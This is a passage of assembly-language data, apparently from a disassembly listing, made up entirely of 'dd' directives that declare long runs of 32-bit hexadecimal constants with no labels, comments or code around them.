		dd 94E0BA31h, 33D934D0h, 30C0C205h, 0E0F8F932h,	1FA53D61h
		dd 0B334511Dh, 88246DB4h, 0C01BE504h, 6552C8C1h, 9088ED06h
		dd 0D3B6C651h, 0D193812Ch, 3EE6602Ah, 0D1B5609Eh, 1EA21C46h
		dd 0B5E86AF9h, 45F8878Dh, 1EAF72A4h, 9BFF96E6h,	34DEF58Ch
		dd 0C4D6D597h, 2E21D337h, 18F80EB3h, 2C054B20h,	277CA20Ch
		dd 71C237F5h, 8F0AE03Bh, 9F2E4794h, 5AA0F759h, 639F8FF2h
		dd 0B4A5F7C5h, 0C3B16508h, 11B03205h, 501A1F5Dh, 83D8D975h
		dd 7F241EE8h, 53DA4784h, 0D8BE5DFAh, 881ADCE8h,	77E226F5h
		dd 9CC1F8Dh, 0AFAC6689h, 0D27A825h, 0CE5DB9DBh,	0BA60B1D9h
		dd 4EA59E96h, 3D94A49Fh, 0C61A6E5h, 2063BB2Dh, 85BA7B79h
		dd 0AF82E716h, 0DC0A0ADEh, 72209DEBh, 0AF82024Eh, 8003CC35h
		dd 4815CA7Eh, 3D7A4A8Ah, 0AC556061h, 17341864h,	42E49378h
		dd 55EDB29Bh, 13E9321Dh, 0AADF3A22h, 0E6EE3B68h, 9F338C46h
		dd 0F359BFC4h, 1E2C2586h, 0EA8E10B5h, 59A08042h, 0E19106CBh
		dd 0B7CF1CC6h, 0A52DD2Ch, 0CE6B3983h, 3E907E5Ah, 33F58630h
		dd 0B23F5096h, 6896DF35h, 0E7E4A96h, 0E6E8BB4h,	6032D95Ch
		dd 89E95200h, 3FC95122h, 532B9985h, 0A2F8C100h,	1E29FC80h
		dd 0D4FC3847h, 7550CCCAh, 35E5DBA4h, 0EB0063EAh, 3F32EA12h
		dd 0BEB05885h, 4BC3F095h, 0F47CF1C4h, 200728AFh, 8276A508h
		dd 0B8BB6CD7h, 5B59E220h, 0F114B1FAh, 42975C4Fh, 951A6426h
		dd 90ED73D9h, 0AC258785h, 88D9F30Bh, 99A3565h, 0A8E4732Bh
		dd 0B6E56B4Eh, 7FF90D08h, 1D4CD389h, 0AFCD7CE0h, 40282CEAh
		dd 11142EEh, 0FCC8CB48h, 2522AD55h, 0EA2224F4h,	0BDB85F67h
		dd 6E6BE2E2h, 0C6F39268h, 0C538A67Dh, 998D9F4Eh, 4D5277D6h
		dd 0EDD470B8h, 0CBA62DB3h, 0DCBFBEC5h, 0C35F5546h, 0DB38BB08h
		dd 51FDB6D0h, 73CF7F35h, 0BF1577BBh, 7F8BCD63h,	0EF48E29h
		dd 6E59420Bh, 0DA8378C3h, 0F305E021h, 18BC8311h, 72AAC104h
		dd 0DA62D153h, 0F150C68Eh, 0BB52536Ch, 587BA5C2h, 0CE57664h
		dd 67A5B970h, 9BDCAFDDh, 0C1B63589h, 713E8B45h,	0F9B7E536h
		dd 5D79DD01h, 6C9E939Ch, 0AB8A09B1h, 0F7A7234Dh, 7DBDD423h
		dd 0C97BF00Ah, 0E430A617h, 22AD927Eh, 407FBD1Dh, 6FCACDA4h
		dd 0C5C35BC9h, 0E17B5C43h, 0F85FF4B1h, 0F38398CCh, 1B69F53Bh
		dd 7AA1AF50h, 0BB23BEB1h, 0F5373E91h, 0BF371C00h, 6EF12CDAh
		dd 3B43FFCEh, 0F2C7EDCCh, 68BFE7F5h, 0C0127BFFh, 0A9DF93CFh
		dd 18895DC7h, 6CD9B533h, 8EA715B1h, 0F98DFDF5h,	7B5B0993h
		dd 7967303h, 2534E3A1h
		dd 61450E81h, 932103CEh, 7FCBE916h, 2BFE1C7h, 65D31F7Ch
		dd 0C4F24788h, 0A89E0DDh, 0FEF361Ah, 0DD67BE31h, 0BC5C076Ah
		dd 1A63C0B8h, 995362ACh, 0EF588EF8h, 3B1640ADh,	51DFA49Ch
		dd 592C3294h, 842876Dh,	43DE562Dh, 6BBB1791h, 80F779E9h
		dd 259445Bh, 0A0B9C564h, 43B8D274h, 0F96A0A29h,	0B02CFA80h
		dd 3E2EE4E3h, 0CDC6F77Dh, 11BD0329h, 59BE379Eh,	0D5CF28CFh
		dd 73BF8E31h, 0FC01171Eh, 31B32F29h, 93E55D12h,	0B173F424h
		dd 0C806A819h, 0D881F235h, 0B939D05Eh, 3D0B000h, 50D0672h
		dd 7E71DACEh, 0D4C95029h, 568959F3h, 0DF45D0F4h, 910D7378h
		dd 530116E8h, 0EF35CF1Eh, 37DA0E45h, 14DEBDEDh,	92DFBA01h
		dd 0D585143Eh, 0FF18FC6Fh, 0E68DDC6Fh, 0AA92FC11h, 12D8DF06h
		dd 0A333103Fh, 4C20CCBFh, 128A4933h, 0F29CAE62h, 0D56EFBB3h
		dd 36B8C894h, 945F66EBh, 89342A5Eh, 0E521BC3h, 7C83911Ch
		dd 785DEC5Dh, 0CBB22030h, 91FCB7C6h, 205EDD75h,	83AB7EDFh
		dd 0DA803E91h, 0CB9FC4CAh, 5F71E9E3h, 3E07904Ah, 2CD980D9h
		dd 86C99B4h, 3E286751h,	0A47BDEB7h, 86974DC9h, 0B4C9D620h
		dd 62577D4Ch, 0C2C8705Eh, 0A1D82175h, 5214190Fh, 1330A8CDh
		dd 0F1FFB02Bh, 1AA82C6Ch, 0C2D5F99Fh, 4B40D916h, 6487934Dh
		dd 1AC28E79h, 16585323h, 498D14BAh, 62497441h, 0BF3BE2A9h
		dd 0D74A81BDh, 0C0B43082h, 29432DFFh, 7FC4CAB4h, 87BF90Dh
		dd 0F2FAA939h, 8A599B5Fh, 0DCDD2A12h, 0C1506FCh, 7106B08Dh
		dd 0DF832614h, 0E87BDA0Fh, 28640957h, 402949DFh, 219623B2h
		dd 0C42C5AC9h, 871708F7h, 1C08CB3h, 2DF28F24h, 2CF30086h
		dd 70B49B42h, 0DC8D2C89h, 2478E3F8h, 80D63234h,	3611EBA7h
		dd 0AE43B466h, 63C2BC11h, 965EB3E3h, 6784CBEBh,	5DF668DBh
		dd 1F88C7C6h, 0D17C25A7h, 0C38635A8h, 0E7E5A2AFh, 0CE42B11Fh
		dd 6241181Eh, 0D375FE51h, 0B0EBEB2Eh, 490F614Ch, 7E863AD8h
		dd 1895DA63h, 2399E2AAh, 159857D1h, 0DAFC47ABh,	0F7015D5h
		dd 0E6C0D660h, 0D170F97Fh, 0CC499407h, 6B52AFA1h, 0D762691Ch
		dd 0B7E97D5Fh, 4103384Ch, 0D56CEE17h, 0F47BB910h, 0B51418FDh
		dd 0F4857A74h, 0CA2A63EAh, 6C06C78Eh, 0A63AA100h, 0C6BD9259h
		dd 0F3487C54h, 5991216h, 3DE76EA1h, 363100AAh, 2D92F322h
		dd 25DE4C74h, 0B7DB106Fh, 59DB6CB8h, 0E9792F27h, 69ABA383h
		dd 8BA09A7Ah, 9D142E4Ah, 5B6CD4A9h, 0FB87685Bh,	0C50E7936h
		dd 0AEBE26A2h, 29E3B52Ah, 27DA10A1h, 0E2748310h, 8D13718Ch
		dd 0BD039508h, 195C5F56h, 0E3B6E441h, 5CAD5E02h, 29192E20h
		dd 49FD6E37h, 0CA6F42C5h, 0B2B3EF46h, 53D9B340h, 0FCCD6347h
		dd 69709E0h, 24C92865h,	14D46394h, 0DD716C94h, 0C982A434h
		dd 21017885h, 0EE16F928h, 662DD170h, 8241C277h,	7150EAFh
		dd 0DE176B08h, 63EF6017h, 34C8F8AFh, 71BC20DAh,	409D7FD3h
		dd 60A3362Dh, 50AC6CE0h, 38E69D4Dh, 4F385968h, 165DE6BCh
		dd 0B839ABFBh, 50B050AFh, 6CDD1AF5h, 4ACFBBD5h,	0C44FC627h
		dd 0C06FD164h, 2E0CA638h, 0D9D532C8h, 2B77C88Eh, 560FF51Ah
		dd 9A469BA1h, 3CDAF175h, 825B2A57h, 0B1C32C1h, 0CAC6177Fh
		dd 5A04ACCDh, 871CCF66h, 31F3F0CCh, 32B17E1Ah, 0FB1177D7h
		dd 3287812Dh, 82E8984h,	377526E2h, 598D2E27h, 0C45B5DC6h
		dd 0CA4CDA72h, 99140B7Ch, 4913E97Eh, 0A55F46CAh, 0A013E3EFh
		dd 0F41C6B6h, 0C9806AEDh, 0A1662B63h, 97B7D8CEh, 7A371437h
		dd 0CFA0814Eh, 39CE8FFCh, 0E05D36C5h, 0B3FEED58h, 0E04FCF54h
		dd 0F941EC86h, 0BCF79F80h, 5AA06FC0h, 68AE4820h, 7720671Eh
		dd 0CF0D7513h, 7703CC0Eh, 7B0D3E0Ah, 309F1131h,	33723AE4h
		dd 71C1BF81h, 0EA07B22Bh, 331C2E9Eh, 905B247Eh,	4C2090FEh
		dd 2EEFC25Ch, 0F5865CDCh, 49E8AF48h, 614BA030h,	43D0F95Ah
		dd 3D124361h, 5344360Dh, 9294ED4Dh, 53345CBDh, 0D8F20B8h
		dd 29A98584h, 48DF22A1h, 12467FB2h, 0FB200D02h,	0CDA17AEh
		dd 0C2E1B2E6h, 6E01A520h, 40BFC9CFh, 6D497D2h, 87289FBFh
		dd 0F027969Eh, 0EFC2695Eh, 8F01A1E1h, 429B2DD6h, 0CBE10F07h
		dd 32708639h, 79EF56D2h, 6E38CCBh, 0D8CC3AE2h, 55788259h
		dd 400C229Ah, 58BAE716h, 0CEEB7751h, 9CE9C805h,	0BED372F5h
		dd 0D32A6ECAh, 0ECECC7E4h, 0C3645343h, 0FBE594Fh, 9E5778C9h
		dd 0F50B1053h, 0E4D8D7FCh, 0C140798Ah, 0E8DAA5ADh, 65A2C595h
		dd 0ECD9AD3Ah, 0B4E05A39h, 98657167h, 975CC302h, 2AFC12C1h
		dd 0FC5C26CCh, 0CE770ACAh, 5BEBBC32h, 0CEBD6614h, 0EC9964ADh
		dd 1851AD6Ch, 0EFFF0CB6h, 585D2EC4h, 59929185h,	1748B8E4h
		dd 6AF008E7h, 0D728E5F6h, 7360EE66h, 0FF506D82h, 12FDC587h
		dd 0F6E47D34h, 78AC4CB5h, 77F85536h, 92892B8Eh,	7EBCB516h
		dd 57CD8978h, 1F1CB451h, 0FAADF139h, 0B376EA8Ah, 1DC32A73h
		dd 0C3975DC9h, 0B448D6EFh, 0EBFF2580h, 5B687F04h, 1217C255h
		dd 840F0014h, 0E0576A57h, 0C7DB9AF6h, 1D50FB1Eh, 171BD4Fh
		dd 0E7FF3FEBh, 0FD83F483h, 3826CA41h, 25E22DF1h, 61CAEFF9h
		dd 0E7B6CA00h, 108101Ch, 71082898h, 812EEE33h, 26690111h
		dd 86774B1Ch, 78C63DA3h, 6AFC0506h, 158F4AE3h, 0D7E160ECh
		dd 4FB7AAAh, 0DE939C11h, 400865ECh, 5FD4FCE4h, 1E01A9DDh
		dd 0AAE190A8h, 2B528A58h, 626E272Ch, 61B85C43h,	5CDC789Fh
		dd 0A8F94F93h, 4F4DB3CCh, 43292FDBh, 6465AC49h,	2DAD86BAh
		dd 2112FA4Eh, 30D6F3EAh, 0AA438C87h, 0C5C03C18h, 3C8A81EFh
		dd 56D87893h, 0C26EA6FBh, 0FCB8F825h, 3F6157Eh,	0E075E47Eh
		dd 0BD6368D3h, 607ADFBh, 1E68AB14h, 4D35032h, 22663D3Fh
		dd 0A078A088h, 430A5BE5h, 5AABA661h, 39C7204Fh,	5689041Fh
		dd 0F9A49ABAh, 0E397D7FBh, 44549EDFh, 7BCEADCAh, 7EBF400Bh
		dd 38B66FABh, 7909700Fh, 48F0EDE8h, 0AD12FF58h,	0F6458E3Ch
		dd 0FCEBCF78h, 9F206398h, 5E281EC5h, 76A2DCD3h,	93054DEFh
		dd 0A1C36A67h, 300FF4D3h, 416C56BCh, 0F26A437Ch, 0A9D81864h
		dd 900D978Bh, 0C8724CCAh, 47BC04FCh, 2E366740h,	0D9047736h
		dd 92B97AD7h, 0CD80452Eh, 9E7E26BDh, 4D2EBB25h,	7479CCCCh
		dd 6B5BFA98h, 157642F3h, 4F5613E1h, 737C6DA4h, 683FC62Fh
		dd 81E6F655h, 0AFE96BF5h, 0C1F116AEh, 92F01D4Eh, 0D6870B55h
		dd 0D88D7C27h, 0C7B6A407h, 0BE96D542h, 265F8C0Bh, 80FF8C41h
		dd 0A282385h, 0F9135764h, 0E0197FC1h, 5AB6DF9h,	0BE437295h
		dd 9A45A261h, 0D01E1CBEh, 0D59FE8C8h, 0C77DC51Bh, 35877FF7h
		dd 8AAA03D3h, 0F3AC6538h, 13B83575h, 10E97E97h,	0B874DADCh
		dd 5CABED0Ch, 8CF2998Eh, 0AC53919Eh, 7E1CF86h, 94D397A2h
		dd 62C5975Dh, 1093084h,	0C6097C3h, 0DB229E27h, 80C9D06h
		dd 0A831E95Fh, 17A6A857h, 7F882E9Bh, 0F694453Bh, 0E8B25569h
		dd 5E54D875h, 4561D4BDh, 898983F3h, 4277F9EFh, 13A2A496h
		dd 0EE3C4A38h, 202CE2F1h, 5BFD4861h, 22930117h,	10924C24h
		dd 72A29DD9h, 0A13599D4h, 0D84C588Eh, 27D833A6h, 0C888D579h
		dd 94EF8BADh, 0CC114FB8h, 0EC010BAEh, 905E76F1h, 5C79E40Dh
		dd 9AE21119h, 3F7E0408h, 0A9ADCA9Dh, 9DB01C92h,	52585361h
		dd 0AA8C5A6Dh, 0A7D26785h, 110F0BAEh, 2FE8514h,	6AB53781h
		dd 1F04DC2Ah, 55E02201h, 981F89DDh, 3CC910CDh, 27306037h
		dd 0E161F6EFh, 0A4798F20h, 82FB9B3Eh, 0C5ACC2Eh, 0D8F75B3Dh
		dd 4AD4D389h, 0F1519C8Ch
		dd 5CB00B72h, 90165F3Dh, 7FE4A604h, 0A5855D79h,	0CE510623h
		dd 612B8E66h, 3E4BE27Fh, 73100D46h, 89E9A99Fh, 4EF51150h
		dd 2216089Eh, 23AA9E01h, 0A2E3D845h, 24DE1F90h,	0E9CA9E8Ah
		dd 0A94A7727h, 2BA4CED9h, 0BE9C6EC4h, 0D9C1EFC2h, 5BD66ACAh
		dd 0A4223EEh, 15F1B3EAh, 3E349A4h, 0F858E2AAh, 0AEC026A2h
		dd 58E2F8E5h, 68FC2FD2h, 0C2B31313h, 2A124DE3h,	82DDA367h
		dd 12CBD947h, 72B4739Dh, 6139B9CDh, 0EF844EC6h,	46DDF7E5h
		dd 0D6F75B80h, 5B381D38h, 0E7F5F1B7h, 0B33B996Bh, 0E52218FBh
		dd 919BC775h, 6E801461h, 0ADC89EA0h, 6F8C2FE7h,	5486CF73h
		dd 2F62386Ch, 356BBA9Dh, 0CA24F492h, 480A848Ah,	52C57E3Eh
		dd 0BD99F621h, 33C87730h, 0CB85A4FCh, 0A71B8757h, 8EF1DF25h
		dd 85754B53h, 0ED2217BAh, 0EF60D43Dh, 15A65482h, 0BD51E55Dh
		dd 6B88CA02h, 59BBE06Ch, 555C593Ah, 3C9A000Eh, 482E4646h
		dd 0D8606996h, 0C5B74259h, 0F909A6D6h, 5FF57601h, 0BC65D83Fh
		dd 0A2826998h, 767087FDh, 0A4408C13h, 0DD23B524h, 8E74F3F2h
		dd 84324F7Dh, 7DA62933h, 0A3D057C4h, 0BDDDB71Fh, 9381E2EBh
		dd 3FEE029Ah, 7CAD6D96h, 1C6CB8B7h, 3827794Bh, 0D64938B4h
		dd 43829A61h, 0C04B11DCh, 393168AEh, 6FE08450h,	22C36BE4h
		dd 4AFFA7C5h, 97EF051Dh, 0F1B4F70Ch, 33BA3336h,	8949875Ah
		dd 36D87CFEh, 717DA9F8h, 0F8167767h, 66DE4819h,	337BA112h
		dd 0F70E23F4h, 44C7A29Ch, 4487A9F3h, 8263952Ch,	491F1C22h
		dd 80F90DE3h, 0F8902D82h, 5DEBD966h, 0AED78FE4h, 13028D63h
		dd 8084ACC9h, 25C2672Bh, 823E0FDEh, 0E8AEDDA7h,	0A2F7DEA9h
		dd 0CBA1E7BEh, 9566CE7Ch, 0C0C559CAh, 23CF7E4h,	0A8D90822h
		dd 7F6C0964h, 0E174FC2Ah, 442E8250h, 0A6D6EABCh, 1BCC0B81h
		dd 11332B28h, 96C04131h, 8FDD9BB5h, 0C85A0448h,	4258906Ah
		dd 6F5613EBh, 0AC234333h, 0BC3944Bh, 80541D68h,	0D0FCE728h
		dd 0B4ABD1Eh, 60B7FA10h, 91DF4600h, 0FED0F2F3h,	0A96E8DE0h
		dd 0EBCEAAA5h, 820E7D27h, 47636D41h, 34458052h,	0F62B583Dh
		dd 0B0C3FA1Ch, 4C41C27Dh, 0F42EDBA3h, 50D27159h, 100CA9A8h
		dd 2320A1D2h, 14D82B7Fh, 0BC164FAAh, 16BC268Fh,	0D57FA823h
		dd 4927A7D8h, 74EBA43Fh, 0DC08834Bh, 5159B071h,	6F913B58h
		dd 0BBB07301h, 1B83931Fh, 871B25C5h, 26AFDD9h, 0BBA1EBA2h
		dd 516A8637h, 5EFCDBCCh, 0FE54A676h, 4A6F6A95h,	130ABA71h
		dd 0AB4706E6h, 0C3152688h, 1E5F55EFh, 5E09162Ch, 0D8A3C0C0h
		dd 52754CD6h, 517F04Bh,	0E8B2B42h, 39D1C4AEh, 0BBFABDEAh
		dd 9326F549h, 0F2A73F7Fh, 62FD5358h, 0C6326074h, 0CCD537ADh
		dd 98C5E16Fh, 0F7C2A9DAh, 0A321F2A1h, 0B5AF2914h, 1711D714h
		dd 6E560869h, 0F689902Dh, 0A1E3AD60h, 0BB1DEB9Ch, 604616D1h
		dd 1FD354F4h, 0C4EE3F8Dh, 97CDD7BDh, 0E6AD5A8Ch, 0A0A08B1Eh
		dd 7669433Bh, 0E52CEAB1h, 0ECD30C13h, 0A1A7F54h, 852E07EDh
		dd 0B4D6DC07h, 5095BFACh, 0BC087826h, 5783F29Ah, 8C610361h
		dd 802C5BA5h, 97E88418h, 89CB6C4h, 3B7C8A99h, 13CAF4F0h
		dd 78C83E0Fh, 69D275C3h, 0BDD660DDh, 35E1DC84h,	0F2F1F423h
		dd 48DE5BAh, 52BF7267h,	0B948DE82h, 0E6BCEA05h,	0F568A5A9h
		dd 4978D5CCh, 6FE0EEE9h, 0C4BA5CC8h, 0D930CF22h, 91C4A76Eh
		dd 0E36DEC7Bh, 0AF8A895Ch, 0FC6A08EEh, 0B977D4D4h, 0C53A8FAAh
		dd 0B52837A4h, 9FECA119h, 582332C2h, 0DFD5E2FCh, 0E851C913h
		dd 0D527589Dh, 0A988EA7Eh, 15CD144Dh, 0A34D037Ch, 263C480Dh
		dd 0E55DA3FAh, 1D295F77h, 5ED0DECEh, 0B940B9BDh, 5E379003h
		dd 0C0EB0AE3h, 3F9CAD5Ch, 25645CDDh, 405C963Ch,	0E3C73D68h
		dd 7DE95A33h, 0BA6AFDA4h, 296B00FBh, 8B0BAE57h,	7584E98Eh
		dd 59268319h, 0A693D4Bh, 9185E184h, 51B2073Ch, 0D3830C72h
		dd 72596265h, 0D3A336D9h, 2A2DC21Ch, 321F0A1Ah,	0D28FB42h
		dd 868663D0h, 476D94AEh, 0DE5F3965h, 0D997B8CEh, 0D6953478h
		dd 0FDA766C7h, 246E02F8h, 0B349EB34h, 6F1D4B32h, 69457F21h
		dd 349D10B0h, 0B071FFF7h, 5CCEB008h, 2C64521Ah,	923EFC06h
		dd 508A474Eh, 9933706Dh, 0F6726004h, 783EAD86h,	7AFA379Dh
		dd 730F47D7h, 15C95FCDh, 0C946FAE1h, 0DD419F57h, 8BD367C8h
		dd 700DD712h, 9FBC9BCCh, 2D723768h, 0B18D0992h,	401C1FA2h
		dd 1D10F71Ch, 732112E9h, 72F73C90h, 0C47253CDh,	0B41CC8A2h
		dd 1E68C6A0h, 0DA1E2F3Eh, 99B85BFEh, 73BD5AE4h,	0FFB250A7h
		dd 962B5832h, 338A4B3h,	47EA93CAh, 9106EC31h, 0C95B8195h
		dd 94E6F40Eh, 0E4B58B1Bh, 0B91AAEB2h, 6CEA8F69h, 0FA2709CCh
		dd 0F3D7FDF3h, 75E4FFC2h, 635CA7A5h, 2BC49BFEh,	78248795h
		dd 0C2ED11FFh, 6F70AD64h, 98437FA2h, 0A49473F1h, 6A44E238h
		dd 645F0DD3h, 2DB5C5ABh, 0ED6147Fh, 85DE7573h, 2A4F46B6h
		dd 1A91FD76h, 0B3B736D7h, 0E9F5D34Fh, 2D584BFDh, 68400039h
		dd 447B67CBh, 99551B6Fh, 25D35ECh, 43D85CF7h, 0D693FC4Fh
		dd 99D484E4h, 238459F0h, 71A10119h, 0E3F81AD0h,	468722CCh
		dd 8FC17888h, 0A24797Bh, 902E061Fh, 0F9E1FE43h,	908361A9h
		dd 0F9AB6F88h, 8F0B75A4h, 0BB3C071Eh, 89806CD3h, 78ADCD23h
		dd 16496333h, 4A448D65h, 8D5E6864h, 0D289537h, 70A4F85Fh
		dd 0A5098EC1h, 0EC63BF4Dh, 13852FE5h, 0AE40549Ch, 806840B8h
		dd 49E658C6h, 0F0D05FF0h, 49CCD89Eh, 69A437B1h,	2E138BC0h
		dd 0CCB9673Dh, 0DB420CF0h, 0F902247Dh, 733AD690h, 415C6DF3h
		dd 0F117140Ah, 168FA24h, 1EB2FB9Ch, 0D29D4024h,	2FA0CF1Fh
		dd 2D792A8Dh, 250246D9h, 1A5A762Ch, 0FA291E4Ch,	745541B7h
		dd 0FCCE688Eh, 0BA4A22E3h, 7947BCAFh, 0D0CC63D9h, 94A4293Dh
		dd 6ED659E5h, 0C757A58h, 3B56ED9Fh, 6C1EF494h, 3FDD5F56h
		dd 67265580h, 0AE7F539Bh, 0BA348B0h, 0ABCBFE6Ch, 2C899DB2h
		dd 22E9A18Fh, 9132AE34h, 0C6410A54h, 461B474Eh,	0E806255Fh
		dd 95500676h, 0FFB57EDBh, 305D0B02h, 843810C5h,	0D7DC4A06h
		dd 9E553E9Ah, 0B61C3833h, 0DFB20D4Dh, 3D38C49Fh, 77A05E7Ch
		dd 0E1604DE0h, 79DBF97Ch, 573EC340h, 30E8086h, 8527AC9Fh
		dd 0E79954E6h, 2A621261h, 0C5D517F8h, 0E31AF6B3h, 2BA17D2Dh
		dd 0D24A5A98h, 0E5BDA21h, 0A7D59557h, 0E2490041h, 0B3E8BA8Fh
		dd 0AFFEAD42h, 548F0B0h, 45F0B50Eh, 0BE069CF9h,	0A86BF220h
		dd 0B0451287h, 0B09F7229h, 4FF56F2Ah, 2371D9F7h, 0D1CB69AFh
		dd 0E6FD6850h, 0D2BBE1Eh, 882207F5h, 5E17A027h,	7FD72417h
		dd 909DCAB2h, 2A5A913h,	0F763BC36h, 17A3DE6Dh, 39F6B1EDh
		dd 3B567BA0h, 1DA51815h, 3C13B250h, 1E2E8797h, 5386CDEh
		dd 0E06607A8h, 0BACAA371h, 0C167A532h, 6A84B646h, 0FD807A6Eh
		dd 8A5238F6h, 623BFE00h, 28679773h, 354DF090h, 6A742FEAh
		dd 3F2DF44Eh, 0AED37022h, 16FE6BBAh, 0B2CB9E27h, 0E2C9F105h
		dd 1146F737h, 0F976314Eh, 5196A950h, 9EC4F19h, 8E536B93h
		dd 65F49F4Ch, 22535E99h, 563607F1h, 64A7B78h, 0B40AE9DEh
		dd 507A2188h, 2469381h,	8EBCEA7Ah, 3C23484h, 0E2D61758h
		dd 9922B8ECh, 865B5F40h, 84F5C4C1h, 5BE2087Fh, 7800EF8h
		dd 0DB012D5Bh, 0DA3B6CD9h, 7D63E302h, 351F7B04h, 688BB610h
		dd 7015FF6Bh, 36235C6h,	0F89F347Eh, 0B6E24B5Dh,	2C93A986h
		dd 0F938096Ch, 0FEA28784h, 0D8233C8Bh, 68D370B2h, 3707490Ah
		dd 9E017AFEh, 1BA0CF48h
		dd 7CE0DC1Ch, 0BBC8BA89h, 0AAABA253h, 5AF6F56Dh, 2072060Eh
		dd 2842932Dh, 0FE25D658h, 0AFB57C43h, 556BEBDEh, 55F935CDh
		dd 0A1149C8Ah, 2ED4F813h, 6ADE2C94h, 0CF80083Bh, 0AAD13DE5h
		dd 44CC778Ch, 0AF0D0E9Bh, 0D27FFB42h, 32E328FFh, 265FCCC2h
		dd 6BA3E894h, 5D149FEEh, 0F4F7D929h, 433937A0h,	0C2495BEDh
		dd 0F968851h, 0ECF83017h, 77F9219Eh, 0EFFEFF55h, 2D1FE9B7h
		dd 564AA3A8h, 0D90490C2h, 272C1A3h, 16CD70F0h, 6208E749h
		dd 7562E1E2h, 0C0987E96h, 0CD547CB5h, 35766D75h, 0EDB6B962h
		dd 0CF3622F4h, 0BC14B519h, 1391AD15h, 0D74C5F2Fh, 0B7E90CA1h
		dd 93922F47h, 87EAF899h, 6152A4C5h, 7712072Ah, 0D6336144h
		dd 0D6FF197Fh, 57B83CA5h, 96741ACFh, 124E31CFh,	9DE14612h
		dd 4B6ABBE6h, 7DE15D97h, 0AD6C2986h, 0E41FA118h, 84C89847h
		dd 229445B8h, 0ACF3C5CAh, 0EDBD774Ah, 99E96699h, 0AA02D163h
		dd 0F3A16079h, 0FD7325E0h, 298FF2ABh, 0B0C3C889h, 39F1A809h
		dd 86CB02E4h, 594F315h,	932D5DF3h, 30E02292h, 6EC74E5h
		dd 28CB1227h, 0B6A2FFB5h, 0E2B4A214h, 15A348Ch,	7FA2053Dh
		dd 0FE67F971h, 0A4EC9547h, 7BA21E55h, 0B7FF0B8h, 9CDDD574h
		dd 956CBE7h, 6F786077h,	0B35BC6CDh, 2DEE2F6Ch, 1723AA2Eh
		dd 63630559h, 0E220BF6h, 9CE8538Bh, 0F91F1DFAh,	0CC9A53B4h
		dd 0CD2D06C3h, 67372F43h, 4D68F82Ch, 0E1322E5Dh, 2FC368FEh
		dd 18F64CA5h, 0D7BEC71Ch, 1AD103E3h, 0F6B83C3Fh, 0DC1C360Ch
		dd 58555409h, 866D2378h, 6EF78F99h, 0E6E1184Ch,	0C9DCAF5h
		dd 9F4CE147h, 0A5CDE40h, 8534A639h, 79C126A3h, 424A5B3h
		dd 94DD37A7h, 935B4369h, 0E694BD2Ah, 0F3B7DEDh,	6AFFDB67h
		dd 694FCC1Bh, 3B01B653h, 8281389Bh, 8059DDDFh, 0F4F91FC1h
		dd 6F53743Ch, 0A98658E0h, 0D372D852h, 0AA889535h, 17CC7F96h
		dd 0AE93A374h, 0D45893E2h, 37D8D7C6h, 80D8DDACh, 0DB335446h
		dd 0AB55A2B5h, 6673F54Eh, 9998C695h, 505CA5F8h,	5384D6BBh
		dd 45558E1Ah, 60D92D55h, 6AA5FF6h, 0D59E8DAh, 911D7413h
		dd 0C059FF68h, 8396469Eh, 624529E7h, 0BAB4C5F7h, 5B9AD210h
		dd 7AB753D3h, 0D11E8670h, 1A933A20h, 70622A1Ah,	0A8321CC4h
		dd 9FD6D330h, 76840AF7h, 8C151F94h, 0C73CB330h,	7D3939F3h
		dd 0DA80620Ah, 0B7402C71h, 5BED4A27h, 874D34ACh, 7C3AA034h
		dd 98FEFAFEh, 3CA96BF7h, 31565A87h, 902006C5h, 394F406Ch
		dd 0EEC2B636h, 4EA3CC75h, 0E54F1BEAh, 23CABC76h, 0F25A7AA2h
		dd 8B4C15E4h, 79A97A3h,	7A3AFAECh, 0EA3BAD78h, 0CA15E280h
		dd 0FC69DAC2h, 0E72ED166h, 0C848034Dh, 61604DF2h, 73A0875Ah
		dd 0D5012308h, 72E620ECh, 2483DF66h, 0FFAA120Bh, 6106EC1Fh
		dd 0BBDFB6CAh, 5744EC00h, 89861214h, 0F5D61599h, 2BDAF127h
		dd 37D0EBE3h, 0F6C70038h, 73AC46ECh, 0A5B6E9FEh, 0F4387DCDh
		dd 2C1C1E58h, 90A0B1FFh, 0FB4BB2DDh, 0C3543C3Bh, 2C52CF73h
		dd 2CC9A709h, 0A979F715h, 0A7795E7Ch, 99B0D714h, 0F3BA8CF2h
		dd 0A7DC22E5h, 0D816794Fh, 1ADBA9F6h, 8D0BE72Bh, 58FCC2F9h
		dd 7A42F538h, 0BE9E7B49h, 70AC3630h, 6EA9F084h,	0A5878B9Fh
		dd 0FBE3A860h, 0CC1E3385h, 983EC7D8h, 0F8FE0CC5h, 1E92E0CBh
		dd 0AE24E5E8h, 558623B1h, 9575A9CFh, 95E6F31Ch,	90A87082h
		dd 0FE48B199h, 36BEE412h, 43AE3EB5h, 0A343BA2Ah, 0A3BF6A98h
		dd 3BBB945Ch, 6150E5E7h, 0EDA6849h, 4D0FB736h, 0CFDED451h
		dd 0CB05224Fh, 0B007BC4Fh, 0F416880Ah, 0CAB34896h, 0E53C13F2h
		dd 3FAEC1FCh, 1C4F8A8Ch, 6015D45Ch, 50D1C126h, 4D875964h
		dd 582B5EE9h, 90EEECE4h, 0E9D717C6h, 71C08E9Dh,	5081473h
		dd 0FE5FBBF0h, 7E209C49h, 0A2E1DD14h, 60496464h, 0B880F627h
		dd 0DDEF018Ch, 9E9549CAh, 6E185124h, 0B5525534h, 0E717B21Fh
		dd 402C4773h, 0FA48CB7Dh, 7B7D62D5h, 73B90ACFh,	0B5384ADBh
		dd 10010BB5h, 77321A3Dh, 0DEA58C60h, 347704B5h,	9DF70816h
		dd 99EE7C31h, 0D2A275A8h, 98C4C0B9h, 3FACEE2Bh,	71BD1612h
		dd 204E8EB4h, 0B614DDCEh, 0CE89213h, 582288DBh,	675FD47h
		dd 17362EC3h, 0F81E7D16h, 0D2C9A0DEh, 7BC65B2Ah, 0C5863524h
		dd 0AE3B06EDh, 2A0A72F2h, 0AF708CB1h, 6407CBFFh, 18786C37h
		dd 2D951BF0h, 0CBC2CCF9h, 0B2C4179Ch, 95F9627Eh, 8911873Dh
		dd 0B0EE37E1h, 5903F251h, 9A36F7F0h, 2BD9FB4Eh,	0AB540D59h
		dd 0D0711CACh, 0FD7C5956h, 455F03C3h, 33306F3Ch, 197D0037h
		dd 0EBCE9A1Eh, 8E8A6A91h, 0AF72294Ah, 152896DAh, 290E58A5h
		dd 1ABE7964h, 0AE72D241h, 5FEB5025h, 0D7B089ADh, 0D233140Ch
